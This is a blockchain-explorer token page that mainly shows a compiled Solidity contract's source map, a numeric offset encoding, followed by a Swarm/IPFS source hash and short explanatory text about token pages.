:20;;:6;:20;;;5171:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5281:1;5260:23;;:9;:23;;;5252:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5336:47;5357:6;5365:9;5376:6;5336:20;:47::i;:::-;5396:21;5420:9;:17;5430:6;5420:17;;;;;;;;;;;;;;;;5396:41;;5473:6;5456:13;:23;;5448:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5594:6;5578:13;:22;5558:9;:17;5568:6;5558:17;;;;;;;;;;;;;;;:42;;;;5646:6;5622:9;:20;5632:9;5622:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5687:9;5670:35;;5679:6;5670:35;;;5698:6;5670:35;;;;;;:::i;:::-;;;;;;;;5718:46;5738:6;5746:9;5757:6;5718:19;:46::i;:::-;5160:612;5039:733;;;:::o;8774:349::-;8883:44;8910:4;8916:2;8920:6;8883:26;:44::i;:::-;8959:1;8943:18;;:4;:18;;;;:38;;;;;8979:1;8965:16;;:2;:16;;;;8943:38;:58;;;;;8985:10;:16;8996:4;8985:16;;;;;;;;;;;;;;;;;;;;;;;;;8943:58;8940:176;;;9041:1;9026:6;:12;9033:4;9026:12;;;;;;;;;;;;;;;;:16;9018:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;9090:6;:12;9097:4;9090:12;;;;;;;;;;;;;;;;:14;;;;;;;;;:::i;:::-;;;;;;8940:176;8774:349;;;:::o;7307:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:116::-;5258:21;5273:5;5258:21;:::i;:::-;5251:5;5248:32;5238:60;;5294:1;5291;5284:12;5238:60;5188:116;:::o;5310:133::-;5353:5;5391:6;5378:20;5369:29;;5407:30;5431:5;5407:30;:::i;:::-;5310:133;;;;:::o;5449:468::-;5514:6;5522;5571:2;5559:9;5550:7;5546:23;5542:32;5539:119;;;5577:79;;:::i;:::-;5539:119;5697:1;5722:53;5767:7;5758:6;5747:9;5743:22;5722:53;:::i;:::-;5712:63;;5668:117;5824:2;5850:50;5892:7;5883:6;5872:9;5868:22;5850:50;:::i;:::-;5840:60;;5795:115;5449:468;;;;;:::o;5923:118::-;6010:24;6028:5;6010:24;:::i;:::-;6005:3;5998:37;5923:118;;:::o;6047:222::-;6140:4;6178:2;6167:9;6163:18;6155:26;;6191:71;6259:1;6248:9;6244:17;6235:6;6191:71;:::i;:::-;6047:222;;;;:::o;6275:474::-;6343:6;6351;6400:2;6388:9;6379:7;6375:23;6371:32;6368:119;;;6406:79;;:::i;:::-;6368:119;6526:1;6551:53;6596:7;6587:6;6576:9;6572:22;6551:53;:::i;:::-;6541:63;;6497:117;6653:2;6679:53;6724:7;6715:6;6704:9;6700:22;6679:53;:::i;:::-;6669:63;;6624:118;6275:474;;;;;:::o;6755:180::-;6803:77;6800:1;6793:88;6900:4;6897:1;6890:15;6924:4;6921:1;6914:15;6941:320;6985:6;7022:1;7016:4;7012:12;7002:22;;7069:1;7063:4;7059:12;7090:18;7080:81;;7146:4;7138:6;7134:17;7124:27;;7080:81;7208:2;7200:6;7197:14;7177:18;7174:38;7171:84;;7227:18;;:::i;:::-;7171:84;6992:269;6941:320;;;:::o;7267:227::-;7407:34;7403:1;7395:6;7391:14;7384:58;7476:10;7471:2;7463:6;7459:15;7452:35;7267:227;:::o;7500:366::-;7642:3;7663:67;7727:2;7722:3;7663:67;:::i;:::-;7656:74;;7739:93;7828:3;7739:93;:::i;:::-;7857:2;7852:3;7848:12;7841:19;;7500:366;;;:::o;7872:419::-;8038:4;8076:2;8065:9;8061:18;8053:26;;8125:9;8119:4;8115:20;8111:1;8100:9;8096:17;8089:47;8153:131;8279:4;8153:131;:::i;:::-;8145:139;;7872:419;;;:::o;8297:180::-;8345:77;8342:1;8335:88;8442:4;8439:1;8432:15;8466:4;8463:1;8456:15;8483:191;8523:3;8542:20;8560:1;8542:20;:::i;:::-;8537:25;;8576:20;8594:1;8576:20;:::i;:::-;8571:25;;8619:1;8616;8612:9;8605:16;;8640:3;8637:1;8634:10;8631:36;;;8647:18;;:::i;:::-;8631:36;8483:191;;;;:::o;8680:182::-;8820:34;8816:1;8808:6;8804:14;8797:58;8680:182;:::o;8868:366::-;9010:3;9031:67;9095:2;9090:3;9031:67;:::i;:::-;9024:74;;9107:93;9196:3;9107:93;:::i;:::-;9225:2;9220:3;9216:12;9209:19;;8868:366;;;:::o;9240:419::-;9406:4;9444:2;9433:9;9429:18;9421:26;;9493:9;9487:4;9483:20;9479:1;9468:9;9464:17;9457:47;9521:131;9647:4;9521:131;:::i;:::-;9513:139;;9240:419;;;:::o;9665:229::-;9805:34;9801:1;9793:6;9789:14;9782:58;9874:12;9869:2;9861:6;9857:15;9850:37;9665:229;:::o;9900:366::-;10042:3;10063:67;10127:2;10122:3;10063:67;:::i;:::-;10056:74;;10139:93;10228:3;10139:93;:::i;:::-;10257:2;10252:3;10248:12;10241:19;;9900:366;;;:::o;10272:419::-;10438:4;10476:2;10465:9;10461:18;10453:26;;10525:9;10519:4;10515:20;10511:1;10500:9;10496:17;10489:47;10553:131;10679:4;10553:131;:::i;:::-;10545:139;;10272:419;;;:::o;10697:174::-;10837:26;10833:1;10825:6;10821:14;10814:50;10697:174;:::o;10877:366::-;11019:3;11040:67;11104:2;11099:3;11040:67;:::i;:::-;11033:74;;11116:93;11205:3;11116:93;:::i;:::-;11234:2;11229:3;11225:12;11218:19;;10877:366;;;:::o;11249:419::-;11415:4;11453:2;11442:9;11438:18;11430:26;;11502:9;11496:4;11492:20;11488:1;11477:9;11473:17;11466:47;11530:131;11656:4;11530:131;:::i;:::-;11522:139;;11249:419;;;:::o;11674:224::-;11814:34;11810:1;11802:6;11798:14;11791:58;11883:7;11878:2;11870:6;11866:15;11859:32;11674:224;:::o;11904:366::-;12046:3;12067:67;12131:2;12126:3;12067:67;:::i;:::-;12060:74;;12143:93;12232:3;12143:93;:::i;:::-;12261:2;12256:3;12252:12;12245:19;;11904:366;;;:::o;12276:419::-;12442:4;12480:2;12469:9;12465:18;12457:26;;12529:9;12523:4;12519:20;12515:1;12504:9;12500:17;12493:47;12557:131;12683:4;12557:131;:::i;:::-;12549:139;;12276:419;;;:::o;12701:225::-;12841:34;12837:1;12829:6;12825:14;12818:58;12910:8;12905:2;12897:6;12893:15;12886:33;12701:225;:::o;12932:366::-;13074:3;13095:67;13159:2;13154:3;13095:67;:::i;:::-;13088:74;;13171:93;13260:3;13171:93;:::i;:::-;13289:2;13284:3;13280:12;13273:19;;12932:366;;;:::o;13304:419::-;13470:4;13508:2;13497:9;13493:18;13485:26;;13557:9;13551:4;13547:20;13543:1;13532:9;13528:17;13521:47;13585:131;13711:4;13585:131;:::i;:::-;13577:139;;13304:419;;;:::o;13729:223::-;13869:34;13865:1;13857:6;13853:14;13846:58;13938:6;13933:2;13925:6;13921:15;13914:31;13729:223;:::o;13958:366::-;14100:3;14121:67;14185:2;14180:3;14121:67;:::i;:::-;14114:74;;14197:93;14286:3;14197:93;:::i;:::-;14315:2;14310:3;14306:12;14299:19;;13958:366;;;:::o;14330:419::-;14496:4;14534:2;14523:9;14519:18;14511:26;;14583:9;14577:4;14573:20;14569:1;14558:9;14554:17;14547:47;14611:131;14737:4;14611:131;:::i;:::-;14603:139;;14330:419;;;:::o;14755:221::-;14895:34;14891:1;14883:6;14879:14;14872:58;14964:4;14959:2;14951:6;14947:15;14940:29;14755:221;:::o;14982:366::-;15124:3;15145:67;15209:2;15204:3;15145:67;:::i;:::-;15138:74;;15221:93;15310:3;15221:93;:::i;:::-;15339:2;15334:3;15330:12;15323:19;;14982:366;;;:::o;15354:419::-;15520:4;15558:2;15547:9;15543:18;15535:26;;15607:9;15601:4;15597:20;15593:1;15582:9;15578:17;15571:47;15635:131;15761:4;15635:131;:::i;:::-;15627:139;;15354:419;;;:::o;15779:224::-;15919:34;15915:1;15907:6;15903:14;15896:58;15988:7;15983:2;15975:6;15971:15;15964:32;15779:224;:::o;16009:366::-;16151:3;16172:67;16236:2;16231:3;16172:67;:::i;:::-;16165:74;;16248:93;16337:3;16248:93;:::i;:::-;16366:2;16361:3;16357:12;16350:19;;16009:366;;;:::o;16381:419::-;16547:4;16585:2;16574:9;16570:18;16562:26;;16634:9;16628:4;16624:20;16620:1;16609:9;16605:17;16598:47;16662:131;16788:4;16662:131;:::i;:::-;16654:139;;16381:419;;;:::o;16806:222::-;16946:34;16942:1;16934:6;16930:14;16923:58;17015:5;17010:2;17002:6;16998:15;16991:30;16806:222;:::o;17034:366::-;17176:3;17197:67;17261:2;17256:3;17197:67;:::i;:::-;17190:74;;17273:93;17362:3;17273:93;:::i;:::-;17391:2;17386:3;17382:12;17375:19;;17034:366;;;:::o;17406:419::-;17572:4;17610:2;17599:9;17595:18;17587:26;;17659:9;17653:4;17649:20;17645:1;17634:9;17630:17;17623:47;17687:131;17813:4;17687:131;:::i;:::-;17679:139;;17406:419;;;:::o;17831:174::-;17971:26;17967:1;17959:6;17955:14;17948:50;17831:174;:::o;18011:366::-;18153:3;18174:67;18238:2;18233:3;18174:67;:::i;:::-;18167:74;;18250:93;18339:3;18250:93;:::i;:::-;18368:2;18363:3;18359:12;18352:19;;18011:366;;;:::o;18383:419::-;18549:4;18587:2;18576:9;18572:18;18564:26;;18636:9;18630:4;18626:20;18622:1;18611:9;18607:17;18600:47;18664:131;18790:4;18664:131;:::i;:::-;18656:139;;18383:419;;;:::o;18808:225::-;18948:34;18944:1;18936:6;18932:14;18925:58;19017:8;19012:2;19004:6;19000:15;18993:33;18808:225;:::o;19039:366::-;19181:3;19202:67;19266:2;19261:3;19202:67;:::i;:::-;19195:74;;19278:93;19367:3;19278:93;:::i;:::-;19396:2;19391:3;19387:12;19380:19;;19039:366;;;:::o;19411:419::-;19577:4;19615:2;19604:9;19600:18;19592:26;;19664:9;19658:4;19654:20;19650:1;19639:9;19635:17;19628:47;19692:131;19818:4;19692:131;:::i;:::-;19684:139;;19411:419;;;:::o;19836:178::-;19976:30;19972:1;19964:6;19960:14;19953:54;19836:178;:::o;20020:366::-;20162:3;20183:67;20247:2;20242:3;20183:67;:::i;:::-;20176:74;;20259:93;20348:3;20259:93;:::i;:::-;20377:2;20372:3;20368:12;20361:19;;20020:366;;;:::o;20392:419::-;20558:4;20596:2;20585:9;20581:18;20573:26;;20645:9;20639:4;20635:20;20631:1;20620:9;20616:17;20609:47;20673:131;20799:4;20673:131;:::i;:::-;20665:139;;20392:419;;;:::o;20817:171::-;20856:3;20879:24;20897:5;20879:24;:::i;:::-;20870:33;;20925:4;20918:5;20915:15;20912:41;;20933:18;;:::i;:::-;20912:41;20980:1;20973:5;20969:13;20962:20;;20817:171;;;:::o

Swarm Source

ipfs://ca97d9160d0f5787bd1d908d43ffdcbc6cbdbd239d263a8af4212ae87ffb6cc1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.